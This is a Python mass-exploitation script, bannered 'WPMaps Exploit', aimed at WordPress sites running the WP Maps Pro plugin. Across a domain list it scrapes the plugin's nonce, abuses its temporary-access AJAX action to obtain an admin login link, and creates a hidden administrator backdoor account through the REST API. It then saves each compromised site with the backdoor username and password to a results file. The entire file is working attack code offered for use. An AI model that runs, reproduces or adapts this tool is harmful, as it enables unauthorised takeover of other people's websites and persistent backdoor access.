wp-google-map.py

import re, sys, os, threading, random, string, time, queue
from urllib.parse import urlparse, urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore, Style
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)
TIMEOUT = 15
VERIFY_SSL = False
THREADS = 100
OUTPUT_FILE = "Results.txt"
lock = threading.Lock()
success_count = 0
fail_count = 0
timeout_count = 0
total = 0
pwned_list = []
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
NONCE_PAT = re.compile(r'wpgmp_local\s*=\s*\{.{0,4000}?"nonce"\s*:\s*"([a-f0-9]{8,15})"', re.DOTALL)
PLUGIN_MARKERS = ["wp-google-map-gold", "wpgmp_local", "wpgmp-google-map-main", "WP MAPS PRO"]
FEATURE_FILE = "/wp-content/plugins/wp-google-map-gold/classes/wpgmp-temp-access.php"
SCAN_PATHS = [
    "/", "/contact/", "/about/", "/services/", "/blog/",
    "/map/", "/maps/", "/locations/", "/?p=1", "/?p=2",
    "/?page_id=2", "/?page_id=3", "/sample-page/",
]
def show_banner():
    os.system("cls" if os.name == "nt" else "clear")
    print(f"""{Fore.YELLOW}Developed by {Fore.WHITE}[{Style.RESET_ALL}{Fore.GREEN}X9YOO{Style.RESET_ALL}]

    ┌─────────────────────────────────────────┐
    │        https://t.me/Hajit00n            │
    │    Telegram: https://t.me/Hajit00n      │
    └─────────────────────────────────────────┘
    

                    [ {Fore.YELLOW}WPMaps{Style.RESET_ALL} {Fore.RED}Exploit{Style.RESET_ALL}]
  --| Telegram: {Fore.GREEN}https://t.me/+IZbiH0x1MGAzZjk0{Style.RESET_ALL} |--\n""")
def make_session():
    s = requests.Session()
    s.headers.update({
        "User-Agent": UA,
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-With": "XMLHttpRequest",
    })
    s.verify = VERIFY_SSL
    return s
def normalize(url):
    url = url.strip().rstrip("/")
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url
def detect_plugin(sess, base, timeout=TIMEOUT):
    html = None
    try:
        r = sess.get(base + "/", timeout=timeout, allow_redirects=True)
        if r.ok:
            html = r.text
            p = urlparse(r.url)
            base = f"{p.scheme}://{p.netloc}"
    except Exception:
        pass
    if html and any(m in html for m in PLUGIN_MARKERS):
        return base, html
    for path in [
        "/wp-content/plugins/wp-google-map-gold/wp-google-map-gold.php",
        "/wp-content/plugins/wp-google-map-gold/assets/css/wpgmp_all_frontend.css",
        "/wp-content/plugins/wp-google-map-gold/assets/js/maps.js",
        "/wp-content/plugins/wp-google-map-gold/core/cache/google-web-fonts.txt",
    ]:
        try:
            r2 = sess.get(base + path, timeout=timeout)
            if r2.status_code == 200 and (len(r2.text) > 20 or "not allowed" in r2.text.lower()):
                return base, html
        except Exception:
            continue
    return None, None
def check_feature(sess, base, timeout=TIMEOUT):
    try:
        r = sess.get(base + FEATURE_FILE, timeout=timeout)
        return r.status_code == 200
    except Exception:
        return False
def valid_ver(v):
    try:
        parts = v.split(".")
        return all(p.isdigit() and int(p) <= 999 for p in parts) and len(parts) <= 4
    except Exception:
        return False
def get_version(html, sess, base, timeout=TIMEOUT):
    if html:
        m = re.search(r'wp-google-map-gold[^"\']*[?&]ver=([\d.]+)', html)
        if m and valid_ver(m.group(1)):
            return m.group(1)
    return "unknown"
def find_nonce(sess, base, html=None, timeout=TIMEOUT):
    found = threading.Event()
    result = [None]
    source = [None]
    checked = [0]
    lk = threading.Lock()
    parsed = urlparse(base)
    def try_page(url, label=""):
        if found.is_set():
            return
        try:
            ts = requests.Session()
            ts.headers["User-Agent"] = UA
            ts.verify = VERIFY_SSL
            r = ts.get(url, timeout=timeout, allow_redirects=True)
            with lk:
                checked[0] += 1
            if r.ok and not found.is_set():
                all_nonces = NONCE_PAT.findall(r.text)
                if all_nonces and not found.is_set():
                    result[0] = all_nonces
                    source[0] = label or url
                    found.set()
        except Exception:
            pass
    if html:
        all_nonces = NONCE_PAT.findall(html)
        if all_nonces:
            return all_nonces
    urls = [(base + p, p) for p in SCAN_PATHS]
    if html:
        for href in re.findall(r'href=["\']([^"\'#?]{5,})["\']', html, re.I):
            if "{{" in href or "{%" in href:
                continue
            full = urljoin(base, href)
            p2 = urlparse(full)
            if p2.netloc == parsed.netloc and not re.search(r'\.(css|js|png|jpg|gif|svg|woff|ico|pdf|zip)$', p2.path, re.I):
                urls.append((full, "crawl"))
    for i in range(1, 51):
        urls.append((f"{base}/?p={i}", f"p={i}"))
    for i in range(2, 21):
        urls.append((f"{base}/?page_id={i}", f"pid={i}"))
    seen, unique = set(), []
    for u, lbl in urls:
        if u not in seen:
            seen.add(u)
            unique.append((u, lbl))
    with ThreadPoolExecutor(max_workers=20) as pool:
        futs = [pool.submit(try_page, u, lbl) for u, lbl in unique]
        for f in as_completed(futs):
            if found.is_set():
                for ff in futs:
                    ff.cancel()
                break
    return result[0] if result[0] else None
def cleanup_fc_user(sess, base, nonce, timeout=TIMEOUT):
    try:
        sess.post(base + "/wp-admin/admin-ajax.php",
            headers={"Referer": base + "/"},
            data={"action": "wpgmp_temp_access_ajax", "nonce": nonce, "check_temp": "true"},
            timeout=timeout)
    except Exception:
        pass
def create_admin(sess, base, nonce, timeout=TIMEOUT):
    cleanup_fc_user(sess, base, nonce, timeout)
    try:
        cb = int(time.time())
        r = sess.post(f"{base}/wp-admin/admin-ajax.php?_={cb}",
            headers={"Referer": base + "/", "Cache-Control": "no-cache", "Pragma": "no-cache"},
            data={"action": "wpgmp_temp_access_ajax", "nonce": nonce, "check_temp": "false"},
            timeout=timeout)
        if r.status_code == 500:
            return "error:php_crash"
        if r.status_code == 200:
            raw = r.text.strip()
            if raw.startswith("<") or (len(raw) > 50 and not raw.startswith("{")):
                return "error:waf_blocked"
            if raw == "0":
                return "error:hook_not_registered"
            if raw in ("-1", ""):
                return "error:nonce_invalid"
            try:
                data = r.json()
            except Exception:
                return None
            if "error" in data:
                return f"error:{data['error']}"
            url = data.get("url", "")
            if url:
                return url.replace("\\/", "/")
    except Exception:
        pass
    return None
def magic_login(sess, magic_url, timeout=TIMEOUT):
    try:
        r = sess.get(magic_url, allow_redirects=True, timeout=timeout)
        return r.status_code == 200 and "wp-login" not in r.url
    except Exception:
        return False
def verify_admin(sess, base, timeout=TIMEOUT):
    try:
        r = sess.get(f"{base}/wp-admin/users.php", timeout=timeout, allow_redirects=True)
        return r.status_code == 200 and "wp-admin" in r.url and "wp-login" not in r.url
    except Exception:
        return False
def create_backdoor(sess, base, timeout=TIMEOUT):
    clean_headers = {"User-Agent": UA, "Accept": "application/json", "Referer": base + "/"}
    try:
        r = sess.get(f"{base}/wp-admin/admin-ajax.php?action=rest-nonce", headers=clean_headers, timeout=timeout)
        if not r.ok:
            return None
        rest_nonce = r.text.strip().strip('"')
    except Exception:
        return None
    random_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
    uname = f"X9yoo{random_suffix}"
    pwd = ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%", k=16))
    email = f"{''.join(random.choices(string.ascii_lowercase, k=6))}@{''.join(random.choices(string.ascii_lowercase, k=4))}.com"
    try:
        r = sess.post(f"{base}/wp-json/wp/v2/users",
            headers={**clean_headers, "X-WP-Nonce": rest_nonce, "Content-Type": "application/json"},
            json={"username": uname, "password": pwd, "email": email, "roles": ["administrator"]},
            timeout=timeout)
        if r.status_code == 201:
            d = r.json()
            return {"username": d.get("username", uname), "password": pwd, "email": d.get("email", email)}
        return f"error:rest_{r.status_code}"
    except Exception:
        pass
    return None
def save_pwned(target, magic_url, backdoor):
    with lock:
        with open(OUTPUT_FILE, "a") as f:
            bd = backdoor if isinstance(backdoor, dict) else None
            f.write(f"{target}/wp-admin#{bd['username'] if bd else 'N/A'}@{bd['password'] if bd else 'N/A'}\n")
def process_target(raw_url):
    global success_count, fail_count, timeout_count, total, pwned_list
    base = normalize(raw_url)
    sess = make_session()
    try:
        base, html = detect_plugin(sess, base, timeout=TIMEOUT)
        if not base:
            with lock:
                fail_count += 1
                current_total = success_count + fail_count + timeout_count
                print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} (Plugin not detected)")
            return
        if not check_feature(sess, base, timeout=TIMEOUT):
            with lock:
                fail_count += 1
                current_total = success_count + fail_count + timeout_count
                print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} (Feature not found)")
            return
        try:
            _r = sess.post(f"{base}/wp-admin/admin-ajax.php?_={int(time.time())}",
                headers={"Referer": base + "/"},
                data={"action": "wpgmp_temp_access_ajax", "nonce": "probe", "check_temp": "false"},
                timeout=TIMEOUT)
            _raw = _r.text.strip()
            if _raw == "0":
                with lock:
                    fail_count += 1
                    current_total = success_count + fail_count + timeout_count
                    print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} (Hook not registered)")
                return
            if _raw.startswith("<") or (_r.status_code == 500):
                with lock:
                    fail_count += 1
                    current_total = success_count + fail_count + timeout_count
                    print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} (WAF blocked)")
                return
        except Exception:
            pass
        ver = get_version(html, sess, base, timeout=TIMEOUT)
        nonces = find_nonce(sess, base, html, timeout=TIMEOUT)
        if not nonces:
            with lock:
                fail_count += 1
                current_total = success_count + fail_count + timeout_count
                print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} (Nonce not found)")
            return
        magic_url = None
        for nonce in nonces:
            magic_url = create_admin(sess, base, nonce, timeout=TIMEOUT)
            if magic_url and not magic_url.startswith("error:nonce"):
                break
        nonce = nonces[0]
        if not magic_url:
            with lock:
                fail_count += 1
                current_total = success_count + fail_count + timeout_count
                print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} (Admin creation failed)")
            return
        if magic_url.startswith("error:"):
            err = magic_url[6:]
            if err == "email_exists" or "already" in err.lower():
                cleanup_fc_user(sess, base, nonce, TIMEOUT)
                magic_url = create_admin(sess, base, nonce, TIMEOUT)
                if not magic_url or magic_url.startswith("error:"):
                    with lock:
                        fail_count += 1
                        current_total = success_count + fail_count + timeout_count
                        print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} (Already exploited)")
                    return
            else:
                with lock:
                    fail_count += 1
                    current_total = success_count + fail_count + timeout_count
                    print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} ({err})")
                return
        magic_login(sess, magic_url, timeout=TIMEOUT)
        if not verify_admin(sess, base, timeout=TIMEOUT):
            with lock:
                fail_count += 1
                current_total = success_count + fail_count + timeout_count
                print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} (Admin verification failed)")
            return
        backdoor = create_backdoor(sess, base, timeout=TIMEOUT)
        with lock:
            success_count += 1
            admin_url = base.rstrip('/') + "/wp-admin/"
            pwned_list.append(f"{admin_url}|{backdoor['username'] if isinstance(backdoor, dict) else 'N/A'}|{backdoor['password'] if isinstance(backdoor, dict) else 'N/A'}|{backdoor['email'] if isinstance(backdoor, dict) else 'N/A'}|{magic_url}")
            print(f"\t__{Fore.GREEN}[{success_count}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.GREEN}[PWNED]{Style.RESET_ALL}")
            print(f"\t    └─ {Fore.CYAN}Admin: {admin_url}{Style.RESET_ALL}")
            if isinstance(backdoor, dict):
                print(f"\t    └─ {Fore.YELLOW}Username: {backdoor['username']}{Style.RESET_ALL}")
                print(f"\t    └─ {Fore.YELLOW}Password: {backdoor['password']}{Style.RESET_ALL}")
    except requests.exceptions.Timeout:
        with lock:
            timeout_count += 1
            current_total = success_count + fail_count + timeout_count
            print(f"__{Fore.YELLOW}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.YELLOW}[Failed]{Style.RESET_ALL} (Timeout)")
    except Exception as e:
        with lock:
            fail_count += 1
            current_total = success_count + fail_count + timeout_count
            print(f"__{Fore.RED}[{current_total}/{total}]{Style.RESET_ALL}__ {raw_url} - {Fore.RED}[Failed]{Style.RESET_ALL} ({str(e)[:50]})")
def load_targets(filename):
    targets_list = []
    try:
        with open(filename, 'r') as file:
            for line in file:
                line = line.strip()
                if line and not line.startswith('#'):
                    targets_list.append(line)
    except FileNotFoundError:
        print(f"\n{Fore.RED}[!] Unable to load targets. File not found or inaccessible...{Style.RESET_ALL}")
        sys.exit(1)
    return targets_list
def main():
    global total
    show_banner()
    targets = load_targets(input(f"{Fore.YELLOW}Enter Your DomainList : {Style.RESET_ALL}").strip())
    if not targets:
        print(f"\n{Fore.RED}[!] No targets found in file...{Style.RESET_ALL}")
        return
    total = len(targets)
    print()
    open(OUTPUT_FILE, "w").close()
    print(f"\n{Fore.CYAN}[INFO]{Fore.WHITE} Tools initialized. Target scan starting...{Style.RESET_ALL}")
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = [executor.submit(process_target, url) for url in targets]
        for future in as_completed(futures):
            future.result()
    print(f"{Fore.CYAN}[INFO]{Fore.WHITE} Scan completed. Results saved to {Fore.YELLOW}Results.txt{Style.RESET_ALL}")
if __name__ == "__main__":
    main()